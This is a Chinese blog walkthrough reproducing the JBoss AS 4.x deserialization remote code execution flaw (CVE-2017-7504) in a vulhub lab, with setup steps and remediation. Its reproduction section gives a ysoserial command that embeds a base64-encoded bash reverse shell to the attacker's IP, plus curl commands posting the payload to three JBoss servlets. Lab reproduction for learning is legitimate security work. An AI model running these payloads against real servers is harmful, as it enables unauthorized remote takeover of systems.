当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、JBoss-AS指纹信息
  • 四、漏洞描述
  • 五、环境搭建
    • 1. 进入CVE-2017-7504环境
    • 2. 启动CVE-2017-7504环境
    • 3. 查看CVE-2017-7504环境
    • 4. 访问CVE-2017-7504环境
    • 5. 查看CVE-2017-7504提示信息
    • 6. 关闭CVE-2017-7504环境
  • 六、漏洞复现
    • 1.环境
    • 2.getshell
      • 攻击机监听
      • 靶机执行连接命令
      • Getshell成功
    • 3.其他方式
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

CVE-2017-7504

二、影响范围

JBoss AS 4.x及之前版本。

三、JBoss-AS指纹信息

{	"match": "body_contains",
	"content": "manage this jboss as instance"},

{	"match": "title_contains",
	"content": "welcome to jboss as"},

{	"match": "header_contains",
"content": "jbossas"},

{	"match": "banner_contains",
	"content": "jbossas"}

四、漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

五、环境搭建

1. 进入CVE-2017-7504环境

cd vulhub/jboss/CVE-2017-7504

在这里插入图片描述

2. 启动CVE-2017-7504环境

docker-compose up -d

在这里插入图片描述

3. 查看CVE-2017-7504环境

docker-compose ps

在这里插入图片描述

4. 访问CVE-2017-7504环境

http://ip:8080

在这里插入图片描述

5. 查看CVE-2017-7504提示信息

cat README.md 

在这里插入图片描述

6. 关闭CVE-2017-7504环境

使用完成记得关闭环境

docker-compose down

在这里插入图片描述

六、漏洞复现

有任何疑问可以去看前面那片文章:JBOSS反序列化远程代码执行漏洞CVE-2017-12149

https://blog.csdn.net/qq_51577576/article/details/126632995

1.环境

靶机:kali:192.168.13.131
攻击机:windows:192.168.192.1

2.getshell

只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的相应页面中,即可执行Payload中指定的命令,获取对电脑的控制权。以下几个页面都行,或许还有其他的,我这里就不深究了

invoker/JMXInvokerServlet
invoker/readonly
jbossmq-httpil/HTTPServerILServlet

攻击机监听

.\nc.exe -lvvp 55555

在这里插入图片描述

靶机执行连接命令

java -jar /root/Desktop/ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTkyLjEvNTU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}">poc.ser

在这里插入图片描述

curl http://192.168.13.131:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

在这里插入图片描述

Getshell成功

在这里插入图片描述

3.其他方式

直接替换上面命令就行了,不详细写了。

curl http://192.168.13.131:8080/invoker/JMXInvokerServlet --data-binary @poc.ser 

在这里插入图片描述

curl http://192.168.13.131:8080/invoker/readonly --data-binary @poc.ser 

在这里插入图片描述

七、漏洞修复

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:/*

八、相关资源

JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149

https://blog.csdn.net/qq_51577576/article/details/126632995

docker 搭建 vulhub 靶场环境:

https://blog.csdn.net/qq_51577576/article/details/125048165

反弹shell的集中常见方式(一)nc反弹shell

https://blog.csdn.net/qq_51577576/article/details/126128251

exec编码工具:

https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec

ysoserial-all.jar工具:

https://github.com/frohoff/ysoserial

相关文章:

  • Python Web开发 之 学生管理系统(2)[实现筛选,搜索,分页]
  • 程序员转型?不可能,绝对不可能
  • 基于SSM的二手书店推荐系统(商城)
  • 【JavaSE】认识异常(下篇)
  • 手把手教你深度学习和实战-----循环神经网络
  • 猿创征文 |【C++】动态内存的分配与回收
  • Day1_9 Java学习之DQL语言与完整性约束
  • 离线数仓搭架_01_数仓概念与项目框架说明
  • 注入Unity mono游戏过程详解
  • Spring源码问题
  • GO语言的错误处理
  • 一篇文章带你了解——大数据和数据分析有什么区别和联系
  • 软件工程测试与度量课程学习---基本测试过程----线性模型
  • 如何在功能、特点、价格和性能方面选择PDF编辑器?
  • 【Java牛客刷题】入门篇(01)
  • 10个最佳ES6特性 ES7与ES8的特性
  • 11111111
  • 78. Subsets
  • ComponentOne 2017 V2版本正式发布
  • E-HPC支持多队列管理和自动伸缩
  • flutter的key在widget list的作用以及必要性
  • gitlab-ci配置详解(一)
  • Java,console输出实时的转向GUI textbox
  • Javascripit类型转换比较那点事儿,双等号(==)
  • Objective-C 中关联引用的概念
  • React+TypeScript入门
  • select2 取值 遍历 设置默认值
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • 湖南卫视:中国白领因网络偷菜成当代最寂寞的人?
  • 开发基于以太坊智能合约的DApp
  • 软件开发学习的5大技巧,你知道吗?
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • gunicorn工作原理
  • JavaScript 新语法详解:Class 的私有属性与私有方法 ...
  • ​io --- 处理流的核心工具​
  • (02)Hive SQL编译成MapReduce任务的过程
  • (4) PIVOT 和 UPIVOT 的使用
  • (Java)【深基9.例1】选举学生会
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (黑马C++)L06 重载与继承
  • (六)vue-router+UI组件库
  • (一)Spring Cloud 直击微服务作用、架构应用、hystrix降级
  • (转载)PyTorch代码规范最佳实践和样式指南
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .netcore 获取appsettings
  • .NET处理HTTP请求
  • @require_PUTNameError: name ‘require_PUT‘ is not defined 解决方法
  • [\u4e00-\u9fa5] //匹配中文字符
  • [20150707]外部表与rowid.txt
  • [AHOI2009]中国象棋 DP,递推,组合数
  • [android] 请求码和结果码的作用
  • [Asp.net mvc]国际化
  • [AutoSar NVM] 存储架构
  • [Big Data - Kafka] kafka学习笔记:知识点整理